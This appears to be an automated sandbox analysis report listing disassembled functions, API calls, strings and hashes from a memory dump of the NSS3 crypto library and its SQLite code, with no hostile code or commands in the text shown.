API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: b6c607bbba8aaafd5e1693985b6cc2ff6dad2d658c66d68afd8775c86833708b
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: 0601C4B2B002046BE7309E29FD84BC7B7A5EF45319F005D35E85D86B20E676F819C792

Function 6C802D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C805B40: PR_GetIdentitiesLayer.NSS3 ref: 6C805B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C802D9C

Part of subcall function 6C81C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C81C2BF

PR_EnterMonitor.NSS3(?), ref: 6C802DB2
PR_EnterMonitor.NSS3(?), ref: 6C802DCF
PR_ExitMonitor.NSS3(?), ref: 6C802DF2
PR_ExitMonitor.NSS3(?), ref: 6C802E0B

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: c3b3bd7b89dcccfcaea4da1afae2022171ddbfd1397405df3118eae98dd2a4c3
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: 5101C4B1B40204AFEB709E29FE45BC7B7A5EF41318F001D35E85D86B21D636F825C6A2

Function 6C79AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6C783090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C79AE42), ref: 6C7830AA
Part of subcall function 6C783090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7830C7
Part of subcall function 6C783090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C7830E5
Part of subcall function 6C783090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C783116
Part of subcall function 6C783090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C78312B
Part of subcall function 6C783090: PK11_DestroyObject.NSS3(?,?), ref: 6C783154
Part of subcall function 6C783090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C78317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6C7799FF,?,?,?,?,?,?,?,?,?,6C772D6B,?), ref: 6C79AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6C7799FF,?,?,?,?,?,?,?,?,?,6C772D6B,?), ref: 6C79AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C772D6B,?,?,00000000), ref: 6C79AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6C772D6B,?,?,00000000), ref: 6C79AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6C772D6B,?,?), ref: 6C79AEA3

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 537c58f296b11bdc250821259f5476fa67cee1e05161aa36e6c01e486e8f9be3
Instruction ID: 97eb7aa637d3059501de1e285e8f00009791954fff0f4a6bad9710d36e5ccbcf
Opcode Fuzzy Hash: 537c58f296b11bdc250821259f5476fa67cee1e05161aa36e6c01e486e8f9be3
Instruction Fuzzy Hash: EC01A466F065105BE701A26CBE9FAAF315C8B8766DF080031E909D7B01F615D90542E3

Function 6C88ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6C88A6D8), ref: 6C88AE0D
free.MOZGLUE(?), ref: 6C88AE14
DeleteCriticalSection.KERNEL32(6C88A6D8), ref: 6C88AE36
free.MOZGLUE(?), ref: 6C88AE3D
free.MOZGLUE(00000000,00000000,?,?,6C88A6D8), ref: 6C88AE47

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: a222ef9d118d8f3248e84cc0865f027490d2d4004a60f405eeec9f25a86da133
Instruction ID: a86d9bbf5da0ece2773cd7fb5bc97cf6fee9b240e77b4f1554f81354f60a59d7
Opcode Fuzzy Hash: a222ef9d118d8f3248e84cc0865f027490d2d4004a60f405eeec9f25a86da133
Instruction Fuzzy Hash: 0BF096B5202A01A7CA209FA9D80C9577778BF867797140738F52A83D81D732E216C7D5

Function 6C706C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6C706D36

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C706D20
%s at line %d of [%.10s], xrefs: 6C706D2F
database corruption, xrefs: 6C706D2A

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 70b0bc8fe8e60c83bcb05cf818194944171cb1d365ed477bdccdf25cc2656730
Instruction ID: ff32eb4a1e2327ede9b31c73ce4a16f71c40f7833a36715ba4bd5d23c4400f42
Opcode Fuzzy Hash: 70b0bc8fe8e60c83bcb05cf818194944171cb1d365ed477bdccdf25cc2656730
Instruction Fuzzy Hash: D02102B07003059BCB10CE19CA52B5AB7F2AF81308F144928DC59DBF51E370FA85C792

Function 6C83CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C83CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C83CC7B), ref: 6C83CD7A
Part of subcall function 6C83CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C83CD8E
Part of subcall function 6C83CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C83CDA5
Part of subcall function 6C83CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C83CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6C83CCB5
memcpy.VCRUNTIME140(6C8D14F4,6C8D02AC,00000090), ref: 6C83CCD3
memcpy.VCRUNTIME140(6C8D1588,6C8D02AC,00000090), ref: 6C83CD2B

Part of subcall function 6C759AC0: socket.WSOCK32(?,00000017,6C7599BE), ref: 6C759AE6
Part of subcall function 6C759AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6C7599BE), ref: 6C759AFC

Part of subcall function 6C760590: closesocket.WSOCK32(6C759A8F,?,?,6C759A8F,00000000), ref: 6C760597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6C83CCB0

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: a74915ff465cb073602e36d3e24d40bb6ae3f6bac3e489a22664f6880c22f140
Instruction ID: 3373a76c898eaaa32c8a691d185cecb738b2f8ce79660ac433d3b4821c445212
Opcode Fuzzy Hash: a74915ff465cb073602e36d3e24d40bb6ae3f6bac3e489a22664f6880c22f140
Instruction Fuzzy Hash: DC11B7F5B112505EDB309F999A067423AB99B4633CF502939E4068BF42E738E408CBD5

Function 6C7A2520 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetFunctionList), ref: 6C7A2538
PR_LogPrint.NSS3( ppFunctionList = 0x%p,?), ref: 6C7A2551

Part of subcall function 6C8809D0: PR_Now.NSS3 ref: 6C880A22
Part of subcall function 6C8809D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C880A35
Part of subcall function 6C8809D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C880A66
Part of subcall function 6C8809D0: PR_GetCurrentThread.NSS3 ref: 6C880A70
Part of subcall function 6C8809D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C880A9D
Part of subcall function 6C8809D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C880AC8
Part of subcall function 6C8809D0: PR_vsmprintf.NSS3(?,?), ref: 6C880AE8
Part of subcall function 6C8809D0: EnterCriticalSection.KERNEL32(?), ref: 6C880B19
Part of subcall function 6C8809D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C880B48
Part of subcall function 6C8809D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C880C76
Part of subcall function 6C8809D0: PR_LogFlush.NSS3 ref: 6C880C7E

Strings

ppFunctionList = 0x%p, xrefs: 6C7A254C
C_GetFunctionList, xrefs: 6C7A2533

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: PrintR_snprintf$CriticalCurrentDebugEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime
String ID: ppFunctionList = 0x%p$C_GetFunctionList
API String ID: 1907330108-525396629
Opcode ID: a1842b9aa76662285c2f65ab3118d32099d5b682288c198948a1b4f4a051501c
Instruction ID: c45406ab54e33512d25283d63c683e47c7ca6333d30903a1fc00517d6af745aa
Opcode Fuzzy Hash: a1842b9aa76662285c2f65ab3118d32099d5b682288c198948a1b4f4a051501c
Instruction Fuzzy Hash: 3E01C0742021409FDB209B99DA4CB5537B0F78232EF144575E40992A11DB38BC4ACBD2

Function 6C7C46D0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,6C7B7A4F,?), ref: 6C7C46F6
EnterCriticalSection.KERNEL32(?,?,?,6C7B7A4F,?), ref: 6C7C470B
PR_Unlock.NSS3(?,?,?,?,6C7B7A4F,?), ref: 6C7C4720

Strings

Oz{l, xrefs: 6C7C46D9

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue
String ID: Oz{l
API String ID: 1419708843-865793983
Opcode ID: fa93430d183f680c5fe7ee5e0a8ea506c49aa97854bd64917d8732db8307a538
Instruction ID: 13f49c49da4c52b17af253adea2a6a7a71b9978b7197fad6764512ffa53fb2f6
Opcode Fuzzy Hash: fa93430d183f680c5fe7ee5e0a8ea506c49aa97854bd64917d8732db8307a538
Instruction Fuzzy Hash: 4C018CB5A046069FDB10AF39D58856ABBF4FF0635DF014979DC8887A01E730A8A4CFD2

Function 6C7B0630 Relevance: 6.1, APIs: 4, Instructions: 147memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7B1940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6C7B563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6C7B195C
Part of subcall function 6C7B1940: EnterCriticalSection.KERNEL32(?,?,6C7B563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6C78EAC5,00000001), ref: 6C7B1970
Part of subcall function 6C7B1940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6C78EAC5,00000001,?,6C78CE9B,00000001,6C78EAC5), ref: 6C7B19A0

PORT_Alloc_Util.NSS3(00000000,?,?,?,?,?,?,00000000,?,00000009), ref: 6C7B0678

Part of subcall function 6C7D0BE0: malloc.MOZGLUE(6C7C8D2D,?,00000000,?), ref: 6C7D0BF8
Part of subcall function 6C7D0BE0: TlsGetValue.KERNEL32(6C7C8D2D,?,00000000,?), ref: 6C7D0C15

PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,00000000,?,00000009), ref: 6C7B06E6
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C7B0770

Part of subcall function 6C7B1EA0: PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,S&{l,6C796295,?,00000000,?,00000001,S&{l,?), ref: 6C7B1ECB

free.MOZGLUE(?), ref: 6C7B0787

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Error$Value$Alloc_CriticalEnterSectionUnlockUtilfreemalloc
String ID:
API String ID: 1159529522-0
Opcode ID: d6d18596d72d6fafce8f5da499193d9b8570c73a93b512b6ef4f39fdbc8bd807
Instruction ID: c5d0e9c5872878171e274aa15b9d701dbf29d325f91380a348e83ec42059bf8c
Opcode Fuzzy Hash: d6d18596d72d6fafce8f5da499193d9b8570c73a93b512b6ef4f39fdbc8bd807
Instruction Fuzzy Hash: FD4125F5D002456BDB10DF689E88EAF7B68AF85358F140538E919B7701EA31E914CBE0

Function 6C7F0640 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

PK11_WrapSymKey.NSS3(00000000,00000000,00000000,?,?), ref: 6C7F072A
PK11_FreeSymKey.NSS3(00000000), ref: 6C7F073E

Part of subcall function 6C7ACE90: PK11_DoesMechanism.NSS3(?,00000132), ref: 6C7ACE9E
Part of subcall function 6C7ACE90: PK11_DoesMechanism.NSS3(?,00000321), ref: 6C7ACEBB
Part of subcall function 6C7ACE90: PK11_DoesMechanism.NSS3(?,00001081), ref: 6C7ACED8
Part of subcall function 6C7ACE90: PK11_DoesMechanism.NSS3(?,00000551), ref: 6C7ACEF5
Part of subcall function 6C7ACE90: PK11_DoesMechanism.NSS3(?,00000651), ref: 6C7ACF12
Part of subcall function 6C7ACE90: PK11_DoesMechanism.NSS3(?,00000321), ref: 6C7ACF2F
Part of subcall function 6C7ACE90: PK11_DoesMechanism.NSS3(?,00000121), ref: 6C7ACF4C
Part of subcall function 6C7ACE90: PK11_DoesMechanism.NSS3(?,00000400), ref: 6C7ACF69
Part of subcall function 6C7ACE90: PK11_DoesMechanism.NSS3(?,00000341), ref: 6C7ACF86
Part of subcall function 6C7ACE90: PK11_DoesMechanism.NSS3(?,00000311), ref: 6C7ACFA3
Part of subcall function 6C7ACE90: PK11_DoesMechanism.NSS3(?,00000301), ref: 6C7ACFBC
Part of subcall function 6C7ACE90: PK11_DoesMechanism.NSS3(?,00000331), ref: 6C7ACFD5

Part of subcall function 6C7EC8C0: PR_SetError.NSS3(FFFFE001,00000000), ref: 6C7ECA51

PK11_KeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6C7F0765
PK11_FreeSymKey.NSS3(00000000), ref: 6C7F0781

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: K11_$DoesMechanism$Free$ErrorWrap
String ID:
API String ID: 3161684401-0
Opcode ID: 8477f5bd757233e33706a38b009f26f4045b3be312f4ddb2cfa8574c2d276a69
Instruction ID: fbd9da58f89ea1e4969f1fc30ab688f345bad828067e22127b75b90a8fcd0a29
Opcode Fuzzy Hash: 8477f5bd757233e33706a38b009f26f4045b3be312f4ddb2cfa8574c2d276a69
Instruction Fuzzy Hash: 4D4196B5900254ABDB009F659D84BEB7B78FF48328F1841B9EC19AB342E732D915C7B1

Function 6C888530 Relevance: 6.1, APIs: 4, Instructions: 127threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C8D14E4,6C83CC70), ref: 6C888569
gethostbyaddr.WSOCK32(?,00000004,00000002), ref: 6C8885AD
GetLastError.KERNEL32(?,00000004,00000002), ref: 6C8885B6
PR_GetCurrentThread.NSS3(?,00000004,00000002), ref: 6C8885C6

Part of subcall function 6C760F00: PR_GetPageSize.NSS3(6C760936,FFFFE8AE,?,6C6F16B7,00000000,?,6C760936,00000000,?,6C6F204A), ref: 6C760F1B
Part of subcall function 6C760F00: PR_NewLogModule.NSS3(clock,6C760936,FFFFE8AE,?,6C6F16B7,00000000,?,6C760936,00000000,?,6C6F204A), ref: 6C760F25

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: CallCurrentErrorLastModuleOncePageSizeThreadgethostbyaddr
String ID:
API String ID: 4254312643-0
Opcode ID: 6c00c40c43ffcaa2a4a9cf95f95263098283c8a987f232c73c1cb7e76f3cbb8d
Instruction ID: 7e834f0ae85cdfab666a1ca1ee84f4bdd143eaff138e8ffba15b376711ac6ff0
Opcode Fuzzy Hash: 6c00c40c43ffcaa2a4a9cf95f95263098283c8a987f232c73c1cb7e76f3cbb8d
Instruction Fuzzy Hash: B141F5B0A0A316ABE7308B35DA54755B7B5AB4532CF084B2BC81643EC1D7749D84CBC1

Function 6C834FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6C7185D2,00000000,?,?), ref: 6C834FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C83500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C8350C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C8350D6

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: 0d728c6dbbb3f0776263ac2111d1ba00709ef17bca3d9bdde1ccf9011ae32fcb
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: C84195B6A013158BCB18CF58DCE1796B7E1BF4431871D5A69C84AC7B02E379E891CBC1

Function 6C7ECF00 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6C7ED01E

Part of subcall function 6C7BE550: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7BE5A0

PK11_FreeSymKey.NSS3(00000000), ref: 6C7ED055

Part of subcall function 6C7BADC0: TlsGetValue.KERNEL32(?,6C79CDBB,?,6C79D079,00000000,00000001), ref: 6C7BAE10
Part of subcall function 6C7BADC0: EnterCriticalSection.KERNEL32(?,?,6C79CDBB,?,6C79D079,00000000,00000001), ref: 6C7BAE24
Part of subcall function 6C7BADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C79D079,00000000,00000001), ref: 6C7BAE5A
Part of subcall function 6C7BADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C79CDBB,?,6C79D079,00000000,00000001), ref: 6C7BAE6F
Part of subcall function 6C7BADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C79CDBB,?,6C79D079,00000000,00000001), ref: 6C7BAE7F
Part of subcall function 6C7BADC0: TlsGetValue.KERNEL32(?,6C79CDBB,?,6C79D079,00000000,00000001), ref: 6C7BAEB1
Part of subcall function 6C7BADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C79CDBB,?,6C79D079,00000000,00000001), ref: 6C7BAEC9

PK11_PubUnwrapSymKey.NSS3(?,00000000,6C7ECC55,00000107,00000000), ref: 6C7ED079
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C7ED08C

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: K11_$CriticalEnterErrorSectionValue$DeriveFreeUnlockUnwrapWithfreememset
String ID:
API String ID: 324975836-0
